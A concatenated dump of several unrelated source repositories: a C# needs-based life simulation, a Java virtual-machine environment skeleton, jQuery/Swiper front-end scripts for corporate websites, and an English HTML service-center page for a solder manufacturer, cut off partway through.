Action *_rotateSprite;
Action *_groundHit;
Action *_explotion;
int _energy;
int _score;
int _shockwaveHints;
float _meteorTimer;
float _meteorInterval;
float _meteorSpeed;
float _healthTimer;
float _healthInterval;
float _healthSpeed;
float _difficultyTimer;
float _difficultyInterval;
Size _screenSize;
bool _playing;
};
#endif // __HELLOWORLD_SCENE_H__
| 670d32dc1fc8ccb703323eed655abb3211f2ea65 | [
"C++"
] | 2 | C++ | cooloon/19_SkyDefence | 436e4abec31b38ddc5984b85ab2f2234301d90ed | f9f4d1316b7beba0747439dfd623dec06c43ef50 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Drawing;
// todo:
// work on time of day modifiers
// check hunger levels through day
//
// tier 2
// assume health for now
// security needs filled by
// home need
// employment need
//
// develop family relationships, extend needs to family
namespace PsychSim
{
class Program
{
// defines the object in the game and runs the game loop
static void Main(string[] args)
{
bool game_on = true;
// generate the world
World locale = new World(100, 100);
gametime world_clock = new gametime();
Console.WriteLine("new clock: " + world_clock.current_time);
// populate teh world with our test person
Person adam=spawnAdam(locale,world_clock);
// add him to the world
locale.inhabitants.Add(adam);
// the game loop
while (game_on)
{
world_clock.tick(locale.inhabitants);
}
} // end Main
// ---------------------------------------------------------------
// Main Functions
// ---------------------------------------------------------------
// Adam is a test person. This spawns him and adds him to the world'
static Person spawnAdam(World locale,gametime world_clock)
{
// the test person. Our Adam.
Person adam = new Person("Adam", new Point(100, 100), locale, world_clock);
Console.WriteLine("Adam spawned at: " + adam.world_clock.current_time);
// give him some food
Item mana = new Item("mana", 1000);
adam.inventory.Add(mana);
return adam;
}
static public string generateID()
{
return "0";
}
} // end class Program
//==========================================================================================
// Other Classes
//==========================================================================================
public class gametime
{
public DateTime current_time;
public DateTime last_hour;
// controls the rate of real world speed
// 1.0 = 1 tick per real second
public double speed;
// controls the in game time ratio
// 1.0 = 1 game-hour per tick
public double time_rate;
public gametime()
{
current_time = new DateTime(1900, 1, 1, 6, 0, 0);
last_hour = new DateTime(1900, 1, 1, 5, 0, 0);
speed = 0.5;
time_rate = 0.5;
}
// every "tick" or iteration of the game loop, the objects do whatever is defined that they
// should do in their onTick method.
public void tick(List<Person> inhabitants)
{
current_time = current_time.AddHours(time_rate);
Console.WriteLine("Time: " + current_time);
foreach (Person individual in inhabitants)
{
individual.onTick();
}
Console.WriteLine("current hour " + current_time.Hour + " last hour: " + last_hour.Hour);
if (current_time.Hour > last_hour.Hour)
{
//Console.WriteLine("check " + (double)(current_time.Hour - last_hour.Hour));
hourlyTick(inhabitants);
last_hour=last_hour.AddHours((double)(current_time.Hour - last_hour.Hour));
}
Thread.Sleep((int)(1000 * speed));
}
// every hour
public void hourlyTick(List<Person> inhabitants)
{
Console.WriteLine("hourly");
foreach (Person individual in inhabitants)
{
individual.onHour();
}
}
}
// Items are small objects. They can fit in an inventory, be produced, be an ingredient in
// a production, be used, used up, consumed, owned, sold, stolen, etc.
public class Item
{
public string id;
public string name;
public int nutrient; // the nutritional value of the item when it is eaten
public Item()
{
id = "";
}
public Item(string na, int nut)
{
id = "0"; // need to generate unique ids.
name = na;
nutrient = nut;
}
// defines what happens when the item is "used"
// items can be used in different ways. Food, for example can be eaten or stolen
// pass the way it is used as the use_type
// only life forms of animal type or their decendnats can use items
// returns 0 if action successful, 1 if failed.
public int usage(string use_type, LifeForm user)
{
int ret = 0;
switch (use_type)
{
case "eat":
user.nutrition += nutrient;
if (user.nutrition > user.max_sation)
user.nutrition = user.max_sation;
//Console.WriteLine("Life form has eaten " + name);
break;
default:
//Console.WriteLine("Invalid use type.");
ret = 1;
break;
}
return ret;
}
internal bool isNull()
{
return (id == "");
}
}
public class Actionable
{
public int time_cost;
public int effort;
// function type for holding the method which defines the action when it is needed.
// actor is the id of the object performing the action, from who's action list this was pulled.
// actee is the item/object the action is performed on
// should return false if the action was unsucessful, or true if successful
public delegate bool ActionCall(string actor, string actee);
// private method to perform the action:
private ActionCall toDo;
// the parameters for the action
string actor_id;
string actee_id;
public Actionable(int tim, int eff, ActionCall td, string or,string ee)
{
time_cost = tim;
effort = eff;
toDo = td;
actor_id = or;
actee_id = ee;
}
public bool doAction()
{
--time_cost;
return toDo(actor_id, actee_id);
}
}
// the rest data is an encapsulation of all the data relating to getting sleep
// Not all life forms need to track rest, just animals and their decendants
public class RestData
{
public string rest_state; // the rest state determined by restfulness
public int restfulness; // the current state of restfulness
public int max_rest; // the maximum rest possible
public int rest_drain; // the speed at which one loses rest per hour
public double over_rested_level;// above this percent of max level is that too much sleep state
public double well_rested_level; // above this percent of
public double rested_level; // above this percent of max rest is rested
public double fatigued_level; // above this percent of max rest is a light fatigue
public double sleepy_level; // above this percent of max rest is someone ready for bed
public double tired_level; // above this percent of max rest is someone who would pass out at their job
public double exhausted_level; // above this percent of max rest is someone who would pass out if not actively kept awake
private Animal owner; // a reference to the owner of this data
// number of ticks until rest improves one to the next level:
// eg, if 4, and there are 2 ticks to an hour, then every 2 hours of rest,
// the sleeper's rest state increases by one level.
public int rest_rate;
// once at zero is death from exhaustion
public int sleep_time;
// calculated levels:
public int over;
public int well;
public int rested;
public int fatigued;
public int sleepy;
public int tired;
public bool nocturnal;
public World locale;
public gametime world_clock;
// establishing the initial rest data
public RestData(Animal o, World w, gametime clock)
{
owner = o;
max_rest=48;
rest_drain = 1;
over_rested_level=0.9;
well_rested_level=0.7;
rested_level=0.6;
fatigued_level=0.5;
sleepy_level=0.4;
tired_level=0.3;
restfulness = (int)(max_rest * (rested_level + ((well_rested_level - rested_level) / 2)));
sleep_time = 0;
rest_rate = 4;
nocturnal = false;
locale = w;
world_clock = clock;
calcRestState();
//Console.WriteLine(owner+" rest data received time: " + world_clock.current_time);
}
public void onTick()
{
if (owner.state == "dead")
return;
}
public void onHour()
{
if (owner.state == "dead")
return;
if (owner.state != "asleep")
{
Console.WriteLine("awake");
restfulness -= rest_drain;
calcRestState();
}
else
{
doSleeping();
}
}
public void doSleeping()
{
if (owner.state == "dead")
return;
if (restfulness > rested)
{
owner.state = "alive";
}
else
{
owner.state = "asleep";
}
Console.WriteLine(owner.state);
if (owner.state != "asleep")
return;
if (sleep_time == rest_rate)
{
sleep_time = 0;
//Console.WriteLine("debug: " + rest_state+restfulness);
switch (rest_state)
{
case "exhausted":
restfulness = tired+1;
break;
case "tired":
restfulness = sleepy+1;
break;
case "sleepy":
restfulness = fatigued+1;
break;
case "fatigued":
restfulness = rested+1;
break;
case "rested":
restfulness = well+1;
break;
case "well rested":
restfulness = over+1;
break;
default:
break;
}
}
++sleep_time;
}
public void calcRestState()
{
over=(int)( max_rest * over_rested_level);
well=(int)( max_rest * well_rested_level);
rested = (int)(max_rest * rested_level);
fatigued = (int)(max_rest * fatigued_level);
sleepy = (int)(max_rest * sleepy_level);
tired = (int)(max_rest * tired_level);
int modrest=cycleModifiedRestfulness();
if (modrest > over)
rest_state = "over rested";
else if (modrest <= over && modrest > well)
rest_state = "well rested";
else if (modrest <= well && modrest > rested)
rest_state = "rested";
else if (modrest <= rested && modrest > fatigued)
rest_state = "fatigued";
else if (modrest <= fatigued && modrest > sleepy)
rest_state = "sleepy";
else if (modrest <= sleepy && modrest > tired)
rest_state = "tired";
else if (modrest <= tired && modrest > 0)
rest_state = "exhausted";
else if (restfulness <= 0 && modrest <= 0)
{
owner.state = "dead";
Console.WriteLine(owner + " died of exhaustion at modrest: "+modrest+" and restfulness: "+restfulness);
}
}
// sleep cycles are determined by diurnal/noctournal animal type and the time of day
public int cycleModifiedRestfulness()
{
int newrest=restfulness;
int start_hour = (nocturnal) ? 18 : 6;
if (world_clock.current_time.Hour >= start_hour - 6 && world_clock.current_time.Hour <= start_hour + 6)
{
newrest += 4*(world_clock.current_time.Hour - start_hour);
}
else
{
newrest += 4*(24 - start_hour - world_clock.current_time.Hour);
}
Console.WriteLine("restful=" + restfulness + " feels like=" + newrest);
return newrest;
}
}
// the base class of all life. Will have those properties that will be common to all life forms in the game.
// not much at the moment. All it does id starve to death.
public class LifeForm
{
public string id;
// current states are "alive" or "dead"
public string state;
public int nutrition; // life forms all need nutrition to live. when it reaches 0, they die
public bool hungry; // is or isnt hungry
public double hunger_level; // percentage of max_sation it takes to be hungry
public int max_sation; // the highet level of nutrients that can be processed by a life form, period.
public int burn_speed; // number of nutrients burned per hour
public Point location;
public World locale;
public Queue<Actionable> action_queue;
public List<Item> inventory;
public gametime world_clock;
// When a life form is created, we can chose its starting nutrition
// and usualy, they start alive.
public LifeForm(Point start_location, World w,gametime clock)
{
id = Program.generateID(); // need to develop a global system to determine IDs and reference objects by their IDs
state = "alive";
hungry = false;
hunger_level = 0.5;
max_sation = 96;
burn_speed = 1;
nutrition = 75;
location = start_location;
locale = w;
action_queue=new Queue<Actionable>();
inventory= new List<Item>();
world_clock = clock;
// debug feedback
//Console.WriteLine("Lifeform created at coordinates "+location);
//Console.Write("Nutrition: " + nutrition +"\n");
}
// define a null LIfeForm
public LifeForm()
{
id="";
}
// informs if LifeForm is null or not
public bool isNull()
{
return (id == "");
}
// every tick is a game turn. This function defines what happens to the life form every turn
public void onTick()
{
Console.WriteLine("state: " + state);
// check pre states
if (state == "dead")
return;
performNextAct();
//set states
if (nutrition <= 0)
{
state = "dead";
Console.WriteLine("Lifeform has starved.");
}
if (nutrition <= hunger_level*max_sation)
hungry = true;
else
hungry = false;
// check post states
if (state == "dead")
return;
if (hungry)
{
Console.WriteLine("Lifeform is hungry.");
}
}
public void onHour()
{
if (state == "dead")
return;
if (state == "alive")
nutrition -= burn_speed;
}
public void performNextAct()
{
if (action_queue.Count != 0)
{
Actionable next_action = action_queue.Dequeue();
next_action.doAction();
}
}
// adds an action to the action queue.
// exists as its own method for the potential addition of
// priority queue implementation in the future.
public void addAction(Actionable act)
{
action_queue.Enqueue(act);
}
public bool actionEat(string eater_id, string item_id)
{
LifeForm eater = new LifeForm();
Item eaten_item = new Item();
foreach (LifeForm entity in locale.inhabitants)
{
if (entity.id == eater_id)
{
eater = entity;
break;
}
}
if (eater.isNull())
return false;
foreach (Item food in eater.inventory)
{
if (food.id == item_id)
{
eaten_item = food;
break;
}
}
if (eaten_item.isNull())
return false;
eaten_item.usage("eat", eater);
eater.inventory.Remove(eaten_item);
eater.hungry = false;
return true;
}
}
// animals are a type of Life Form. They arent very distinct at the moment
// animals can have names
public class Animal:LifeForm
{
public string name;
public RestData rest_data;
public int safety;
public Animal(string nm, Point start_location, World w, gametime clock)
: base(start_location, w, clock)
{
rest_data = new RestData(this,w,clock);
name = nm;
safety = 100;
}
new public void onTick()
{
//Console.WriteLine("animal ontick: ");
base.onTick();
rest_data.onTick();
}
new public void onHour()
{
base.onHour();
rest_data.onHour();
Console.WriteLine(rest_data.restfulness);
}
}
// people will be the main focus of the game, though they are little more than animals at the moment
// a person is considered a modern person. It will expect to have contemporary resources available to it.
// A person differs from an animal in that it can have an inventory filled with items.
// Physiological needs, breathing, water, and excrement are going to be taken for granted
public class Person : Animal
{
public Person(string nm, Point start_location, World w, gametime clock)
: base(nm, start_location, w, clock)
{
//rest_data = new RestData(this, w, clock);
inventory = new List<Item>();
Console.WriteLine("Initiating a person: " + world_clock.current_time);
}
// performs all onTick of LifeForm and adds Person reaction to needs
new public void onTick()
{
base.onTick();
if (state == "dead")
return;
// plan actions
if (hungry)
{
obtainFood();
}
if (rest_data.restfulness < 50 && safety > 50)
{
rest_data.doSleeping();
//Console.WriteLine("ding");
}
Console.WriteLine(rest_data.rest_state);
}
new public void onHour()
{
base.onHour();
}
// When hungry, a Person will follow a particular series of steps to eat
// Making different assumptions than other Animals
public void obtainFood()
{
bool found_food = false;
int radius = 5;
Rectangle d_region = new Rectangle(location.X-radius,location.Y-radius, (2*radius),(2*radius));
// search inventory for food_item
foreach (Item inv_item in inventory)
{
if (inv_item.nutrient > 1)
{
found_food = true;
addAction(new Actionable(1,1,actionEat,this.id,inv_item.id));
break;
}
}
// no food in inventory, locate food source
if (!found_food)
{
Lot food_source = typeRadialSearch(locale, location, radius, "food");
if (!food_source.isNull())
{
//Console.WriteLine(this.name + " has found food at "+food_source.coordinates);
}
locale.addDemand(new Demand(locale, "food", d_region, id));
//Console.WriteLine(this.name + " can not find food!.");
}
}
// search a given area in the World and find the closest lot with the building type on it
// returns the lot.
// * this might be turned into a template later on for different kinds of area searches
public Lot typeRadialSearch(World locale, Point center, int radius, string type)
{
Point p=new Point(); // the search pointer
for (p.X = center.X; (p.X < center.X + radius); ++p.X)
{
for (p.Y = center.Y; p.Y < center.Y + radius; ++p.Y)
{
// skip checking places out of bounds
if (
p.X<0 ||
p.X> locale.world_size.X-1 ||
p.Y<0 ||
p.Y>locale.world_size.Y-1
)
continue;
// convert the 2d search into a 1d index lookup
int index = (p.Y * locale.world_size.X) + p.X;
if (locale.lot_list[index].building.type == type)
return locale.lot_list[index];
}
}
// failed search, return the null lot:
return new Lot();
}
} // end class Person
// a lot is a tile in the world. It has a fixed location. It can have a building constructed on it.
// LifeForms and Items and other objects with the same lot coordiantes exist on this lot location
public class Lot
{
public Point coordinates;
public Building building;
public string zoning;
public double value;
// declare and define constructor
public Lot(int x,int y,Building bld,string zone,double val)
{
coordinates.X = x;
coordinates.Y = y;
building = bld;
zoning = zone;
value = val;
}
// a null lot
public Lot()
{
coordinates.X = -1;
coordinates.Y = -1;
building = new Building();
zoning = "";
value = -1;
}
//returns true if the lot is "null" or does not really exist in world
public bool isNull()
{
return (coordinates.X == -1);
}
}
// Buildings are built on lots
public class Building
{
public string type;
public double value;
public string name;
// basic constructor for a null building, which would be found on a vacant lot
public Building()
{
type = "";
value = 0.0;
name = "";
}
}
// the world is where the game takes place. Intantiated so that travel is possible from one "world" to anoter (travel)
public class World
{
public Point world_size;
public List<Lot> lot_list;
// all living things are in the world when they are in this list
public List<Person> inhabitants;
public List<Demand> suggestion_box;
//public gametime timer;
public World(int x, int y)
{
//timer = new gametime();
//Console.WriteLine("world time " + timer.world_clock);
lot_list = new List<Lot>();
inhabitants = new List<Person>();
suggestion_box = new List<Demand>();
// set the world size
world_size.X = x;
world_size.Y = y;
//fill the world with lots of lots.
for (int a = 0; a < world_size.X; ++a)
{
for (int b = 0; b < world_size.Y; ++b)
{
lot_list.Add(new Lot(a, b, new Building(), "unzoned", 1000.00));
}
}
//Console.WriteLine("World created: " + world_size);
}
// adds the demand to the world sugestion box, but doesnt allow any demand
// of the same type
// from the same petitioner
// in the same area
public void addDemand(Demand temp)
{
foreach (Demand suggestion in suggestion_box)
{
if (suggestion.origin == temp.origin &&
suggestion.type == temp.type &&
suggestion.area.IntersectsWith(temp.area)
)
return;
}
suggestion_box.Add(temp);
//Console.WriteLine(temp.origin + " demands " + temp.type + " at " + temp.area);
}
}// end class World
// a demand is a request ticket. If a person requires a resource, and it is not available
// within the constraints that it is wanted, a demand is added to the world's deman list.
// the list can then be used to determine societal growth, based on popular demand.
public class Demand
{
public string type; // the type of demand made
public Rectangle area; // general area the demand is desired
public string origin; // the person making the demand's ID
public Demand(World w, string t, Rectangle a, string p)
{
type = t;
origin = p;
area = Rectangle.Intersect(a,new Rectangle(0, 0, w.world_size.X, w.world_size.Y));
if (area.IsEmpty)
{
//Console.WriteLine("rectangle out of bounds error.");
}
}
}
} // end namespace PsychSim
| 9b9c0e92a8993261462123a644719ee07004aea3 | [
"C#"
] | 1 | C# | erickveil/PsychSim | 6ff3038f79e5505e7f54142f05cbca2c391b9ae0 | f03f4c8668ac68f2bcd4e5175c3f0196a11c54c9 |
refs/heads/master | <repo_name>callistia/Connect<file_sep>/Connect/src/com/callisto/connect/Program.java
package com.callisto.connect;
import com.callisto.connect.environment.Environment;
import com.callisto.connect.exception.ErrorHandler;
import com.callisto.connect.process.Process;
public class Program {
public static void main(String[] args) {
Environment.setDebugging(true);
if (!Environment.isDebugging() && args.length < 2)
{
int errorCode = ErrorHandler.ERROR_INVALID_PARAMETER;
String message = ErrorHandler.getErrorMessageByCode(errorCode);
System.out.println("Error: " + message);
System.exit(errorCode);
}
Process process = new Process("");
Environment environment = Environment.getInstance();
environment.setCurrentProcess(process);
environment.execute();
}
}
<file_sep>/Connect/src/com/callisto/connect/process/Process.java
package com.callisto.connect.process;
public class Process {
// 메모리 구조 기술.
// 프로그램 구조 기술.
public int _lineCount = 0;
public Process(String filepath) {
// 파일을 개방하여 구문 분석.
analyze();
}
private void analyze()
{
checkSyntax();
buildState();
}
// 전체 프로그램 유효성 검사.
private void checkSyntax()
{
}
// 메모리 구조 설계 및 적재.
private void buildState()
{
}
public void execute()
{
// 줄 단위로 수행.
System.out.println("a");
}
// 코드 삽입.
public void inject(String filename) { }
// 코드 적출.
public void eject(String filename) { }
// 프로그램 변경.
public void change(String filename) { }
}
<file_sep>/Connect/src/com/callisto/connect/environment/Environment.java
package com.callisto.connect.environment;
import com.callisto.connect.process.Process;
public class Environment {
private static boolean _isDebugging = false;
public static boolean isDebugging() { return Environment._isDebugging; }
public static void setDebugging(boolean debug) { Environment._isDebugging = debug; }
// 싱글턴 패턴 구현.
private Environment() {}
private static Environment _instance = null;
public static Environment getInstance()
{
if (Environment._instance == null)
{
Environment._instance = new Environment();
Environment._instance.initialize();
}
return Environment._instance;
}
public void initialize()
{
// 가상 머신 환경 초기화 과정 수행.
}
private Process _currentProcess = null;
public Process getCurrentProcess() { return _currentProcess; }
public void setCurrentProcess(Process process) { this._currentProcess = process; }
private State _currentState = State.STATE_IDLE;
public State getCurrentState() { return _currentState; }
public void setCurrentState(State state)
{
this._currentState = state;
switch (state) {
case STATE_IDLE:
{
// 로드 프로세스 종료 이벤트 송신: 대기 프로그램이 있으면 적재.
break;
}
case STATE_LOADED:
{
// 로드 완료 이벤트 송신: 서버 측에 전송.
execute();
break;
}
case STATE_RUNNING:
{
break;
}
}
}
public void execute()
{
setCurrentState(State.STATE_RUNNING);
Runnable runnable = new Runnable() {
@Override
public void run() {
while (getCurrentState() == State.STATE_RUNNING)
{
// 실행 중일 경우에만 수행할 내용 기술.
Process process = getCurrentProcess();
process.execute();
}
// 프로그램 종료 이벤트 송신.
setCurrentState(State.STATE_IDLE);
}
};
Thread thread = new Thread(runnable);
thread.start();
}
}
| 34c163c410dbd8fc818fcc25e57bca74083ba2cf | [
"Java"
] | 3 | Java | callistia/Connect | 65b11eb4b6e7cfd3d79ab5a5cd4e8dc5776ab50c | 17652fd86ce958384faf4ffbfdad5e86ddb86829 |
refs/heads/master | <repo_name>993675454/nigao<file_sep>/niego/aoya/js/common.js
/* ---------------------------------------------------- */
function IsPC() {
var userAgentInfo = navigator.userAgent;
var Agents = ["Android", "iPhone",
"SymbianOS", "Windows Phone",
"iPad", "iPod"];
var flag = true;
for (var v = 0; v < Agents.length; v++) {
if (userAgentInfo.indexOf(Agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}
var flag = IsPC(); //true为PC端,false为手机端
/* 手机端头部 */
$(function(){
$('.m-header-menu').click(function() {
$('#mod').toggleClass('action');
$('body').toggleClass('hidebody');
});
$(".head-nav .bg").click(function() {
$('#mod').removeClass('action');
})
})
/* 手机端二级下拉 */
$(function(){
$('.nav-ul a').click(function() {
if($(this).siblings('.phone-list').length > 0) {
$(this).toggleClass('curr');
$(this).siblings('.phone-list').stop(true, true).slideToggle();
if($(this).siblings('.phone-list').css('display') == "block") {
$(this).parents('li').siblings().find('a').removeClass('curr');
$(this).parents('li').siblings().find('.phone-list').slideUp();
}
}
});
})
/* 滚动 */
function gotoTop(min_height){
//预定义返回顶部的html代码,它的css样式默认为不显示
var gotoTop_html = '<div id="gotoTop"></div>';
//将返回顶部的html代码插入页面上id为page的元素的末尾
$("#pageq").append(gotoTop_html);
$("#gotoTop").click(//定义返回顶部点击向上滚动的动画
function(){$('html,body').animate({scrollTop:0},700);
}).hover(//为返回顶部增加鼠标进入的反馈效果,用添加删除css类实现
function(){$(this).addClass("hover");},
function(){$(this).removeClass("hover");
});
//获取页面的最小高度,无传入值则默认为600像素
min_height ? min_height = min_height : min_height = 300;
//为窗口的scroll事件绑定处理函数
$(window).scroll(function(){
//获取窗口的滚动条的垂直位置
var s = $(window).scrollTop();
//当窗口的滚动条的垂直位置大于页面的最小高度时,让返回顶部元素渐现,否则渐隐
if( s > min_height){
$("#gotoTop").fadeIn(100);
$('body').addClass("navfixed")
$("#m-header").css("position","fixed")
$("#product-list-location-next").css("position","fixed").css("top","5%");
}else{
$("#gotoTop").fadeOut(200);
$('body').removeClass("navfixed")
$("#m-header").css("position","unset")
$("#product-list-location-next").css("position","unset");
};
});
};
gotoTop();
/* index */
var swiper1 = new Swiper('.index-tbg-banner', {
slidesPerView: 1,
spaceBetween: 0,
loop: true,
direction: 'horizontal',
autoplay: {
delay: 2500,
disableOnInteraction: false,
},
});
var swiper1 = new Swiper('.index-swiper', {
slidesPerView: 2,
spaceBetween: 50,
loop: true,
direction: 'horizontal',
navigation: {
nextEl: '.index-father-next',
prevEl: '.index-father-prev',
},
autoplay: {
delay: 2500,
disableOnInteraction: false,
},
breakpoints: {
768: {
slidesPerView: 1,
spaceBetween: 0,
},
}
});
var swiper2 = new Swiper('.index-swiper2', {
slidesPerView: 3,
spaceBetween: 50,
loop: true,
direction: 'horizontal',
navigation: {
nextEl: '.index-group-next',
prevEl: '.index-group-prev',
},
autoplay: {
delay: 2500,
disableOnInteraction: false,
},
breakpoints: {
768: {
slidesPerView: 1,
spaceBetween: 0,
},
}
});
/* about 团队与设备 */
var qwer = new Swiper('.qwer', {
spaceBetween: 0,
slidesPerView: 2,
freeMode: true,
watchSlidesVisibility: true,
watchSlidesProgress: true,
});
var swiper3 = new Swiper('.about-swiper', {
slidesPerView: 1,
spaceBetween: 0,
loop: true,
direction: 'horizontal',
navigation: {
nextEl: '.index-group-next',
prevEl: '.index-group-prev',
},
thumbs:{
swiper:qwer
}
});
/* 体检服务 */
var swiper = new Swiper('.about-swiper-health', {
loop:true,
pagination: {
el: '.swiper-pagination',
type: 'fraction',
},
navigation: {
nextEl: '.swiper-button-next',
prevEl: '.swiper-button-prev',
},
});
$(document).ready(function(){
/* 顶部导航栏二级下滑 */
$("#henavbar li").mouseenter(function(){
var index1 = $(this).index();
$(this).children('a').addClass("cur");
if ($(this).children('a').hasClass("cur")) {
$("#ay-nav ul").eq(index1).css({"bottom":"-60px"});
}
}),
$("#ay-nav").children('ul').mouseenter(function () {
$(this).css({ "bottom": "-60px"});
}),
$("#ay-nav").children('ul').mouseleave(function () {
$(this).css({ "bottom": "0"});
})
$("#henavbar li").mouseleave(function(){
var index1 = $(this).index();
$(this).children('a').removeClass("cur");
$("#ay-nav ul").eq(index1).css({ "bottom": "0"});
})
/* 胶囊胃镜 基因检测 细胞存储
$("#highendthreebox>div").css("display","none").eq(0).css("display","block");
$("#highendthreenav>li").children('a').removeClass("HignEng-ThreeBox");
$("#highendthreenav>li:first-child").children('a').addClass("HignEng-ThreeBox");
console.log($("#highendthreenav>li:first-child").children('a'));
$("#highendthreenav li a").click(function(){
var HighIndex = $(this).index();
if ($(this).children().hasClass("HignEng-ThreeBox")) {
$(this).eq(HighIndex).children().addClass("");
$("#highendthreebox>div").css("display","none").eq(HighIndex).css("display","block");
}else{
$(this).children().removeClass("HignEng-ThreeBox");
$(this).eq(HighIndex).children().addClass("HignEng-ThreeBox");
$("#highendthreebox>div").css("display","none").eq(HighIndex).css("display","block");
}
$("#high-end-three-box>div").css("display","none").eq(HighIndex).css("display","block");
$("#high-end-three-nav ").children('a').removeClass("HignEng-ThreeBox");
console.log($("#highendthreenav>li"))
console.log($("#highendthreenav>li").eq(HighIndex).children('a'))
})*/
})
$(".sideMenu .nLi h3").click(function(){
if($(this).parent(".nLi").hasClass("on")){
//当前状态展开的时候,继续点击无效
$(this).parents("ul").find(".sub").slideUp(300,function(){
$(this).parents("ul").find(".nLi").removeClass("on");
});
}else{
$(this).parents("ul").find(".sub").slideUp(300,function(){
$(this).parents("ul").find(".nLi").removeClass("on");
});
$(this).next(".sub").slideDown(300,function(){
$(this).parent(".nLi").addClass("on");
});
}
})
<file_sep>/niego/xuanxin/js/Home.js
/* 手机端头部 */
$(function(){
$('.m-header-menu').click(function() {
$('#mod').toggleClass('action');
});
$(".head-nav .bg").click(function() {
$('#mod').removeClass('action');
})
})
/* 滚动 */
function gotoTop(min_height){
//预定义返回顶部的html代码,它的css样式默认为不显示
var gotoTop_html = '<div id="gotoTop"></div>';
//将返回顶部的html代码插入页面上id为page的元素的末尾
$("#pageq").append(gotoTop_html);
$("#gotoTop").click(//定义返回顶部点击向上滚动的动画
function(){$('html,body').animate({scrollTop:0},700);
}).hover(//为返回顶部增加鼠标进入的反馈效果,用添加删除css类实现
function(){$(this).addClass("hover");},
function(){$(this).removeClass("hover");
});
//获取页面的最小高度,无传入值则默认为600像素
min_height ? min_height = min_height : min_height = 300;
//为窗口的scroll事件绑定处理函数
$(window).scroll(function(){
//获取窗口的滚动条的垂直位置
var s = $(window).scrollTop();
//当窗口的滚动条的垂直位置大于页面的最小高度时,让返回顶部元素渐现,否则渐隐
if( s > min_height){
$("#gotoTop").fadeIn(100);
$('body').addClass("navfixed")
}else{
$("#gotoTop").fadeOut(200);
$('body').removeClass("navfixed")
};
});
};
gotoTop();
(function($) {
$.fn.placeholder = function(options) {
var opts = $.extend({}, $.fn.placeholder.defaults, options);
var isIE = document.all ? true : false;
return this.each(function() {
var _this = this,
placeholderValue = _this.getAttribute("placeholder"); //缓存默认的placeholder值
if (isIE) {
_this.setAttribute("value", placeholderValue);
_this.onfocus = function() {
$.trim(_this.value) == placeholderValue ? _this.value = "" : '';
};
_this.onblur = function() {
$.trim(_this.value) == "" ? _this.value = placeholderValue : '';
};
}
});
};
})(jQuery);
$("input").placeholder();
<file_sep>/niego/ya/EN/Service Center.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="author" content=""/>
<meta name="description" content="" />
<meta name="keywords" content="" />
<link rel="shortcut icon" type="image/x-icon" href="../img/logo.ico" media="screen" />
<link rel="stylesheet" href="css/swiper.min.css">
<link rel="stylesheet" href="css/common.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="css/mobile.css">
<!--[if lt IE 9]>
<script src="static/js/html5shiv.js"></script>
<script src="static/js/respond.js"></script>
<![endif]-->
<title>Service Center</title>
</head>
<body>
<!-- 头部导航 -->
<header class="header-top">
<div class="header-left">
<a href="index.html">
<img src="../img/logo.svg" alt="永安">
<div class="logo-right">
<h2>永安科技</h2>
<h5>YONGAN TECHNOLOGY</h5>
</div>
</a>
</div>
<div class="header-center">
<ul id="henavbar">
<li><a href="index.html">WEBSITE HOMEPAGE</a></li>
<li>
<a href="aboutYA.html">ABOUT YongAn</a>
<ul class="ul-hover-block" id="ulhoverblock">
<li><a href="aboutYA.html#1">COMPANY PROFILE</a></li>
<li><a href="aboutYA.html#2">ENTERPRISE HONOR</a></li>
<li><a href="aboutYA.html#3">R & D CENTER</a></li>
</ul>
</li>
<li><a href="product list.html">PRODUCT CENTER</a></li>
<li><a href="news.html">NEWS</a></li>
<li><a href="Service Center.html" class="header-a-active">SERVICE CENTER</a></li>
<li><a href="Contact information.html">CONTACT INFORMATION</a></li>
</ul>
</div>
<div class="header-right">
<div>
<div class="aposi"><a href="../Service Center.html" class="">CN</a></div>
<div class="aposi"><a href="##" class="cut-btn">EN</a></div>
</div>
</div>
</header>
<div id="mod">
<div class="m-header" id="m-header">
<a class="m-header-logo" href="index.html">
<img src="../img/logo.svg" />
</a>
<div class="m-header-menu">
<ul>
<li></li>
<li></li>
<li></li>
</ul>
</div>
</div>
<nav class="head-nav">
<ul class="nav-ul">
<li><a href="index.html">WEBSITE HOMEPAGE</a></li>
<li> <a href="aboutYA.html">ABOUT YongAn</a></li>
<li><a href="product list.html">PRODUCT CENTER</a></li>
<li><a href="news.html">NEWS</a></li>
<li><a href="Service Center.html">SERVICE CENTER</a></li>
<li><a href="Contact information.html">CONTACT INFORMATION</a></li>
<li>
<div class="aposi"><a href="../Service Center.html" class="">CN</a></div>
<div class="aposi"><a href="##" class="cut-btn">EN</a></div>
</li>
</ul>
</nav>
</div>
<section class="about-baner">
<a href="">
<img src="../upload/05service-center_02.jpg" alt="">
<div class="about-yongan">
<span>SERVICE CENTER</span>
</div>
</a>
</section>
<!-- main -->
<section class="Service-Center-main">
<div class="product-list-main">
<div class="product-list-location-next service-center-ulli-one">
<div>
<h2>服务中心</h2>
<h4>SERVICE CENTER</h4>
</div>
<div>
<ul id="span-click">
<li>
<span>Technical support</span>
<ul class="productlist-two-nav">
<li><a href="">Lead free profile</a></li>
<li><a href="">Welding principle</a></li>
</ul>
</li>
<li>
<span >Use guide</span>
<ul class="productlist-two-nav">
<li><a href="">Lead free profile</a></li>
<li><a href="">Welding principle</a></li>
</ul>
</li>
<li>
<span>Data download</span>
<ul class="productlist-two-nav">
<li><a href="">Article tin.</a></li>
<li><a href="">Article tin.</a></li>
<li><a href="">Solder paste</a></li>
<li><a href="">flux</a></li>
<li><a href="">Other chemical products</a></li>
</ul>
</li>
<li>
<span >Wing on that</span>
</li>
</ul>
</div>
</div>
<div class="product-list-location-prev service-center-ulli-two">
<div class="product-list-location-next">
<div>
<ul id="span-click" class="serviceall-span-click">
<li>
<span>Health hazards after lead poisoning</span>
<ul class="productlist-two-nav">
<li>1. Lead poisoning is especially harmful to the neural development of fetuses and children, severely damaging their learning ability and nervous system.</li>
<li>2. When children have more than 40 microns of lead in their blood, hemoglobin synthesis becomes difficult and can lead to anemia。</li>
<li>3. Lead can damage the kidneys.</li>
<li>4. Neurological and reproductive disorders after lead poisoning.</li>
